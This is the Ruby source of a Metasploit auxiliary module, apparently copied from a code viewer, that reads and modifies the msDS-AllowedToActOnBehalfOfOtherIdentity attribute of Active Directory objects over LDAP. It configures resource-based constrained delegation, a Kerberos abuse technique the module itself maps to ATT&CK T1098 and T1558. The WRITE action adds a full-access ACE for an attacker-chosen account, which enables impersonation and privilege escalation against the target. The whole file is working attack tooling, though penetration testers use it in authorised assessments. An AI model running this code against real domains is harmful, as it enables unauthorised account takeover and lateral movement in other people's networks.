Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
64691 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP::ActiveDirectory8include Msf::OptionalSession::LDAP910ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Role Base Constrained Delegation',17'Description' => %q{18This module can read and write the necessary LDAP attributes to configure a particular object for Role Based19Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account20specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the21authenticated user must have write access to the target object (the object specified in DELEGATE_TO).22},23'Author' => [24'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation25'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation26'Spencer McIntyre' # module author27],28'References' => [29['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],30['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],31['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py'],32['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION],33['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS]34],35'License' => MSF_LICENSE,36'Actions' => [37['FLUSH', { 'Description' => 'Delete the security descriptor' }],38['READ', { 'Description' => 'Read the security descriptor' }],39['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],40['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]41],42'DefaultAction' => 'READ',43'Notes' => {44'Stability' => [],45'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes46'Reliability' => []47}48)49)5051register_options([52OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),53OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])54])55end5657def build_ace(sid)58Rex::Proto::MsDtyp::MsDtypAce.new({59header: {60ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE61},62body: {63access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,64sid: sid65}66})67end6869def get_delegate_to_obj70delegate_to = datastore['DELEGATE_TO']71if delegate_to.blank?72fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')73end7475obj = adds_get_object_by_samaccountname(@ldap, delegate_to)76if obj.nil? && !delegate_to.end_with?('$')77obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")78end79fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj8081obj82end8384def get_delegate_from_obj85delegate_from = datastore['DELEGATE_FROM']86if delegate_from.blank?87fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')88end8990obj = adds_get_object_by_samaccountname(@ldap, delegate_from)91if obj.nil? && !delegate_from.end_with?('$')92obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")93end94fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj9596obj97end9899def check100ldap_connect do |ldap|101validate_bind_success!(ldap)102103if (@base_dn = datastore['BASE_DN'])104print_status("User-specified base DN: #{@base_dn}")105else106print_status('Discovering base DN automatically')107108unless (@base_dn = ldap.base_dn)109print_warning("Couldn't discover base DN!")110end111end112@ldap = ldap113114obj = get_delegate_to_obj115if obj.nil?116return Exploit::CheckCode::Unknown('Failed to find the specified object.')117end118119unless adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.all(%i[RP WP]))120return Exploit::CheckCode::Safe('The object can not be written to.')121end122123Exploit::CheckCode::Vulnerable(124'The object can be written to.',125vuln: {126resource: {127ldap_dn: obj.dn128},129service: report_ldap_service130}131)132end133end134135def run136ldap_connect do |ldap|137validate_bind_success!(ldap)138139if (@base_dn = datastore['BASE_DN'])140print_status("User-specified base DN: #{@base_dn}")141else142print_status('Discovering base DN automatically')143144unless (@base_dn = ldap.base_dn)145print_warning("Couldn't discover base DN!")146end147end148@ldap = ldap149150obj = get_delegate_to_obj151152send("action_#{action.name.downcase}", obj)153end154rescue Errno::ECONNRESET155fail_with(Failure::Disconnected, 'The connection was reset.')156rescue Rex::ConnectionError => e157fail_with(Failure::Unreachable, e.message)158rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e159fail_with(Failure::NoAccess, e.message)160rescue Net::LDAP::Error => e161fail_with(Failure::Unknown, "#{e.class}: #{e.message}")162end163164def action_read(obj)165if obj[ATTRIBUTE].first.nil?166print_status("The #{ATTRIBUTE} field is empty.")167return168end169170security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)171if (sddl = sd_to_sddl(security_descriptor))172vprint_status("#{ATTRIBUTE}: #{sddl}")173end174175if security_descriptor.dacl.nil?176print_status("The #{ATTRIBUTE} DACL field is empty.")177return178end179180print_status('Allowed accounts:')181security_descriptor.dacl.aces.each do |ace|182account_name = adds_get_object_by_sid(@ldap, ace.body.sid)183if account_name184print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")185else186print_status(" #{ace.body.sid}")187end188end189end190191def action_remove(obj)192delegate_from = get_delegate_from_obj193194security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)195unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?196print_status('No DACL ACEs are present. No changes are necessary.')197return198end199200aces = security_descriptor.dacl.aces.snapshot201aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }202delta = security_descriptor.dacl.aces.length - aces.length203if delta == 0204print_status('No DACL ACEs matched. No changes are necessary.')205return206else207print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")208end209security_descriptor.dacl.aces = aces210# clear these fields so they'll be calculated automatically after the update211security_descriptor.dacl.acl_count.clear212security_descriptor.dacl.acl_size.clear213214@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)215validate_query_result!(@ldap.get_operation_result.table)216217print_good("Successfully updated the #{ATTRIBUTE} attribute.")218end219220def action_flush(obj)221unless obj[ATTRIBUTE]&.first222print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")223return224end225226@ldap.delete_attribute(obj.dn, ATTRIBUTE)227validate_query_result!(@ldap.get_operation_result.table)228229print_good("Successfully deleted the #{ATTRIBUTE} attribute.")230end231232def action_write(obj)233delegate_from = get_delegate_from_obj234if obj[ATTRIBUTE]&.first235_action_write_update(obj, delegate_from)236else237_action_write_create(obj, delegate_from)238end239end240241def _action_write_create(obj, delegate_from)242vprint_status("Creating new #{ATTRIBUTE}...")243delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)244security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new245security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')246security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new247security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS248security_descriptor.dacl.aces << build_ace(delegate_from_sid)249250if (sddl = sd_to_sddl(security_descriptor))251vprint_status("New #{ATTRIBUTE}: #{sddl}")252end253254@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)255validate_query_result!(@ldap.get_operation_result.table)256257print_good("Successfully created the #{ATTRIBUTE} attribute.")258print_status('Added account:')259print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")260end261262def _action_write_update(obj, delegate_from)263vprint_status("Updating existing #{ATTRIBUTE}...")264security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)265266if (sddl = sd_to_sddl(security_descriptor))267vprint_status("Old #{ATTRIBUTE}: #{sddl}")268end269270if security_descriptor.dacl271if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }272print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")273end274# clear these fields so they'll be calculated automatically after the update275security_descriptor.dacl.acl_count.clear276security_descriptor.dacl.acl_size.clear277else278security_descriptor.control.dp = 1279security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new280security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS281end282283delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)284security_descriptor.dacl.aces << build_ace(delegate_from_sid)285286if (sddl = sd_to_sddl(security_descriptor))287vprint_status("New #{ATTRIBUTE}: #{sddl}")288end289290@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)291validate_query_result!(@ldap.get_operation_result.table)292293print_good("Successfully updated the #{ATTRIBUTE} attribute.")294end295296def sd_to_sddl(sd)297sd.to_sddl_text298rescue StandardError => e299elog('failed to parse a binary security descriptor to SDDL', error: e)300end301end302303304